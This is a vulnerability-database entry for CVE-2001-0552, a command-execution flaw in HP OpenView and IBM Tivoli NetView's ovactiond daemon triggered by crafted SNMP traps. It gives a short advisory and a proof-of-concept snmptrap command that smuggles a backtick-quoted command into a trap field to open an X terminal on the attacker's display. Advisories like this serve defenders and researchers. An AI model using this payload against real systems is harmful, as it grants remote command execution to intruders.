IBM Tivoli NetView 5/6 - OVActionD SNMPNotify Command Execution
| Reporter | Title | Published | Views | Family All 5 |
|---|---|---|---|---|
 | CVE-2001-0552 | 29 Aug 200104:00 | – | cve |
 | CVE-2001-0552 | 29 Aug 200104:00 | – | cvelist |
 | EUVD-2001-0544 | 7 Oct 202500:30 | – | euvd |
 | CVE-2001-0552 | 20 Sep 200104:00 | – | nvd |
 | Hewlett Packard OpenView and Tivoli NetView do not adequately validate SNMP trap arguments | 21 Jun 200100:00 | – | cert |
source: https://www.securityfocus.com/bid/2845/info
ovactiond is part of the system management software packages OpenView and Netview, distributed by HP and IBM. It is designed for use on enterprise systems, and offers remote administrative facilities.
A problem with the software makes it possible for a remote user to execute commands on a managed system with the privileges of the ovactiond process (often 'bin' on Unix systems). The default configuration of the daemon as installed with HP OpenView enables the execution of commands upon receiving a trap with the command encapsulated in quotes and escapes. Tivoli Netview is not vulnerable to this by default, but may be if customized.
snmptrap -v 1 <NNM host> .1.3.6.1.4.1.11.2.17.1 1.2.3.4 6 60000208 0 1 s "" 2 s "" 3 s "\`/usr/bin/X11/hpterm -display <your client display>\`" 4 s "" [snip...] 12 s ""Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
29 Aug 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.26195